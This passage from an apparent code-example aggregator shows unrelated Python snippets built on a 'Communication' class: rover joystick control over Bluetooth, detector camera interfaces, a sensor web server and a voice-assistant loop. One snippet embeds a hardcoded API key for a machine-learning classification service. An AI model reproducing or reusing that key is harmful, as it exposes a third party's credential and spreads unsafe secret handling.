        if self.joystick.connect(joystick_name) and \
        self.communication.connect(bluetooth_name):
            return True
        return False

    def disconnect(self):
        '''
        Perform the joystick and bluetooth disconnection.
        '''
        if self.joystick.disconnect() and \
        self.communication.disconnect():
            return True
        return False
    
    def quit_commands(self):
        '''
        Send quit signal to the wait queue.
        '''
        self.joystick.quit_commands()
            
    def send_commands(self):
        '''
        Read the joystick commands and send it to the rover using a
        bluetooth device.
        '''
        try:
            command = ""
            j_command = self.joystick.get_commands()
            if j_command["UP"] == True and \
            j_command["DOWN"] == False and \
            j_command["LEFT"] == False and \
            j_command["RIGHT"] == False:
                command = "D1"
                self.communication.send(command)
                self.driving.set_angle(0.0)
            elif j_command["UP"] == False and \
            j_command["DOWN"] == False and \
            j_command["LEFT"] == False and \
            j_command["RIGHT"] == True:
                command = "D3"
                self.communication.send(command)
                self.driving.set_angle(90.0)
            elif j_command["UP"] == False and \
            j_command["DOWN"] == True and \
            j_command["LEFT"] == False and \
            j_command["RIGHT"] == False:
                command = "D5"
                self.communication.send(command)
                self.driving.set_angle(0.0)
            elif j_command["UP"] == False and \
            j_command["DOWN"] == False and \
            j_command["LEFT"] == True and \
            j_command["RIGHT"] == False:
                command = "D7"
                self.communication.send(command)
                self.driving.set_angle(-90.0)
                
            if j_command["SPEED"] == True and self.gear < 6:
                self.gear = self.gear + 1
                self.driving.set_power(self.gear)
                command = "V%d" % self.gear
                self.communication.send(command)
            elif j_command["BREAK"] == True and self.gear > 0:
                self.gear = self.gear - 1
                self.driving.set_power(self.gear)
                command = "V%d" % self.gear
                self.communication.send(command)
                
            if j_command["UP"] == False and \
            j_command["DOWN"] == False and \
            j_command["LEFT"] == False and \
            j_command["RIGHT"] == False and \
            j_command["SPEED"] == False and \
            j_command["BREAK"] == False:
                command = "B0"
                self.communication.send(command)
                self.driving.set_angle(0.0)
        except:
            print str(traceback.format_exc())
示例#36
0
 def setUp(self):
     '''
     Verify environment is setup properly.
     '''
     self.controller = Communication()
     self.b_list = self.controller.get_bluetooth_list()
示例#37
0
class Interface(Core.HwInterface) :
    Core.DEB_CLASS(Core.DebModCamera, "Interface")

    def __init__(self) :
	Core.HwInterface.__init__(self)

        self.__comm = Communication()
        self.__comm.start()
        self.__detInfo = DetInfoCtrlObj()
        self.__detInfo.init()
        self.__buffer = BufferCtrlObj(self.__comm,self.__detInfo)
        self.__syncObj = SyncCtrlObj(self.__comm,self.__detInfo)

    def __del__(self) :
        self.__comm.quit()

    def quit(self) :
        self.__comm.quit()
        
    @Core.DEB_MEMBER_FUNCT
    def getCapList(self) :
        return [Core.HwCap(x) for x in [self.__detInfo,self.__syncObj,self.__buffer]]

    @Core.DEB_MEMBER_FUNCT
    def reset(self,reset_level):
        pass
        
    @Core.DEB_MEMBER_FUNCT
    def prepareAcq(self):
        self.__syncObj.prepareAcq()
#        while self.__comm.getCurrentCommand() != Communication.COM_NONE:
#            time.sleep(0.1)

    @Core.DEB_MEMBER_FUNCT
    def loadConfig(self,file1,file2):
        self.__comm.setCalFiles(file1,file2)
        self.__comm.Configure()            

    @Core.DEB_MEMBER_FUNCT
    def setITHLoffset(self,th) :
         self.__comm.setITHLoffset(th)

    @Core.DEB_MEMBER_FUNCT
    def getITHLoffset(self) :
        return self.__comm.getITHLoffset()

    @Core.DEB_MEMBER_FUNCT
    def setConfigId(self,Id):
        self.__comm.setConfigId(Id)

    @Core.DEB_MEMBER_FUNCT
    def getConfigId(self):
        return self.__comm.getConfigId()

    @Core.DEB_MEMBER_FUNCT
    def startAcq(self) :
        self.__comm.startAcquisition()

    @Core.DEB_MEMBER_FUNCT
    def stopAcq(self) :
        pass
        
    @Core.DEB_MEMBER_FUNCT
    def getStatus(self) :
        CommOk = self.__comm.isAlive() and self.__comm.isRunning()
        CommState = self.__comm.getCurrentCommand()
        status = Core.HwInterface.StatusType()

        if not CommOk:
            status.det = Core.DetFault
            status.acq = Core.AcqFault
            deb.Error("Detector communication is not running")
        elif CommState == Communication.COM_NONE:
            status.det = Core.DetIdle
            status.acq = Core.AcqReady
        elif not self.__comm.isConfigured() :
            status.det = Core.DetFault
            status.acq = Core.AcqConfig
        else:
            if CommState == Communication.COM_START or \
                   CommState == Communication.COM_TEST:
                status.det = Core.DetExposure
            else:
                status.det = Core.DetFault
            if self.__syncObj.getNbFrames() == self.__comm.getNbFramesReady():
                status.acq = Core.AcqReady
            else:
                status.acq = Core.AcqRunning

        status.det_mask = (Core.DetExposure|Core.DetFault)
        return status
    
    @Core.DEB_MEMBER_FUNCT
    def getNbAcquiredFrames(self) :
        return self.__comm.getNbFramesReady()
    
    @Core.DEB_MEMBER_FUNCT
    def getNbHwAcquiredFrames(self):
        return self.getNbAcquiredFrames()
if __name__ == "__main__":
    CmdArgs = sys.argv
    if len(CmdArgs) > 1:
        #################################################################################
        #       Check whether there are any command line arguments. In case there       #
        #       are any, process them. Needs to be looked into once the arguments       #
        #       are considered.                                                         #
        #################################################################################
        pass
    #####################################################################################
    #       Load the configuration file, db configuration file, language                #
    #       configuration file, test the database, and if all operations                #
    #       are successful, start the server with the configurations specified          #
    #####################################################################################
    try:
        config        = loadConfig()
        print(config)
        chLang    = loadLanguage(config["lang"])
        dbConf        = loadDbConf()
        dbConn        = DbController(dbConf)
        dbCheck       = True#dbConn.testDb()
        if not dbCheck:
            raise DbException
        else:
            #server = Server(config, dbConf, chLang)
            Server.startServer()
    except DbException as dbError:
        print(chLang["MSG0001"])
        comm = Communication(chLang)
示例#39
0
class Interface(Core.HwInterface):
    Core.DEB_CLASS(Core.DebModCamera, "Interface")

    def __init__(self):
        Core.HwInterface.__init__(self)

        self.__comm = Communication()
        self.__comm.start()
        self.__detInfo = DetInfoCtrlObj()
        self.__detInfo.init()
        self.__buffer = BufferCtrlObj(self.__comm, self.__detInfo)
        self.__syncObj = SyncCtrlObj(self.__comm, self.__detInfo)
        self.__acquisition_start_flag = False
        self.__kind = 5
        self.__ctSaving = None

    def __del__(self):
        self.__comm.quit()
        self.__buffer.quit()

    def quit(self):
        self.__comm.quit()
        self.__buffer.quit()

    @Core.DEB_MEMBER_FUNCT
    def getCapList(self):
        return [
            Core.HwCap(x)
            for x in [self.__detInfo, self.__syncObj, self.__buffer]
        ]

    @Core.DEB_MEMBER_FUNCT
    def reset(self, reset_level):
        if reset_level == self.HardReset:
            self.__comm.hardReset()

        self.__buffer.reset()
        self.__comm.softReset()

    @Core.DEB_MEMBER_FUNCT
    def takeDarks(self, Texp):
        self.__comm.takeDarks(Texp)

    @Core.DEB_MEMBER_FUNCT
    def prepareAcq(self):
        self.__buffer.reset()
        self.__syncObj.prepareAcq()
        if self.__ctSaving != None:
            self.__comm.setCtSavingLink(self.__ctSaving)

        self.__comm.Configure()
        self.__acquisition_start_flag = False

    @Core.DEB_MEMBER_FUNCT
    def startAcq(self):
        self.__acquisition_start_flag = True
        self.__buffer.start()
        self.__comm.startAcquisition()

    @Core.DEB_MEMBER_FUNCT
    def stopAcq(self):
        self.__comm.stopAcquisition()
        self.__buffer.stop()
        self.__acquisition_start_flag = False

    @Core.DEB_MEMBER_FUNCT
    def getStatus(self):
        ComState = self.__comm.getState()
        status = Core.HwInterface.StatusType()

        if self.__buffer.is_error():
            status.det = Core.DetFault
            status.acq = Core.AcqFault
            deb.Error("Buffer is in Fault state")
        elif ComState == Communication.DTC_STATE_ERROR:
            status.det = Core.DetFault
            status.acq = Core.AcqFault
            deb.Error("Detector is in Fault state")
        elif ComState == Communication.DTC_STATE_CONFIGDET or not self.__comm.darksReady(
        ):
            #        elif False:
            status.det = Core.DetFault
            status.acq = Core.AcqConfig
            deb.Warning("Waiting for configuration")
        else:
            if ComState != Communication.DTC_STATE_IDLE:
                status.det = Core.DetFault
                status.acq = Core.AcqRunning
            else:
                status.det = Core.DetIdle
                lastAcquiredFrame = self.__buffer.getLastAcquiredFrame()
                requestNbFrame = self.__syncObj.getNbFrames()
                print "Frames set-rdy:", requestNbFrame, lastAcquiredFrame + 1
                if (not self.__acquisition_start_flag) or \
                        (lastAcquiredFrame >= 0 and \
                             lastAcquiredFrame == (requestNbFrame - 1)):
                    status.acq = Core.AcqReady
                else:
                    status.acq = Core.AcqRunning

        status.det_mask = (Core.DetExposure | Core.DetFault)
        return status

    @Core.DEB_MEMBER_FUNCT
    def getNbAcquiredFrames(self):
        return self.__buffer.getLastAcquiredFrame() + 1

    @Core.DEB_MEMBER_FUNCT
    def getNbHwAcquiredFrames(self):
        return self.getNbAcquiredFrames()

    #get lower communication
    def communication(self):
        return self.__comm

    #get lower buffer
    def buffer(self):
        return self.__buffer

    def setFilePath(self, path):
        self.__comm.setFilePath(path)

    def setFileBase(self, base):
        self.__comm.setFileBase(base)

    def setFileExtension(self, ext):
        self.__comm.setFileExtension(ext)

    def setCtSavingLink(self, CTs):
        self.__ctSaving = CTs
示例#40
0
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
import datetime
import cgi
import math

from Settings import Settings
from Sensor import Sensor
from Experiences import Experiences
from Communication import Communication

settings = Settings()
sensor = Sensor()
experiences = Experiences('client_experiences')
experiences.load()
communication = Communication()

elapse = 0
send_message = ''
temperature, humidity, timestamp = 0, 0, datetime.datetime.now()
if settings.on:
    timestamp, temperature, humidity, pm25, pm10 = sensor.gather()


class WebServer(BaseHTTPRequestHandler):
    def do_GET(self):

        self.showRoot(self.getState())

    def do_POST(self):
示例#41
0
def listen():

    cm = Communication()

    WORDS = ["Open", "System", "Notes", "Manual", "Weather", "Joke"]
    misunderstand = "I didn't catch that. What did you say?"
    sorry = "Sorry, I can't do that."

    command_is_correct = False

    def model(text):
        cm = Communication()

        # This function will pass your text to the machine learning model
        # and return the top result with the highest confidence
        def classify(text):
            key = "653eced0-1840-11ea-97a0-956abe0146c6b32257f5-24cc-4bfa-b944-21223a9adadc"
            url = "https://machinelearningforkids.co.uk/api/scratch/" + key + "/classify"

            response = requests.get(url, params={"data": text})

            if response.ok:
                responseData = response.json()
                topMatch = responseData[0]
                return topMatch
            else:
                response.raise_for_status()

        # CHANGE THIS to something you want your machine learning model to classify
        demo = classify(text)

        label = demo["class_name"]
        return label

    while (True):
        #Beep sound to notify the user when to speak
        pygame.mixer.music.load('Sound.mp3')
        pygame.mixer.music.set_volume(0.3)
        pygame.mixer.music.play()
        time.sleep(1)
        pygame.mixer.music.stop()

        command = cm.recognize_speech_from_mic()
        error = "ERROR: {}".format(command["error"])
        speech = "You said: {}".format(command["transcription"])
        if command["transcription"]:
            break
        if not command["success"]:
            break
        cm.voice(misunderstand)

    # if there was an error, stop the game
    if command["error"]:
        cm.voice(error)

    # show the user the transcription
    #cm.voice(speech)

    if WORDS[0] in command["transcription"]:
        open_command(command["transcription"])
    elif WORDS[1] in command["transcription"]:
        system_command(command["transcription"])
    elif WORDS[3] in command["transcription"]:
        notes_command('w')
    elif WORDS[4] in command["transcription"]:
        weather_command()
    elif WORDS[5] in command["transcription"]:
        jokes_command()
    else:
        cm.voice(sorry)
        listen()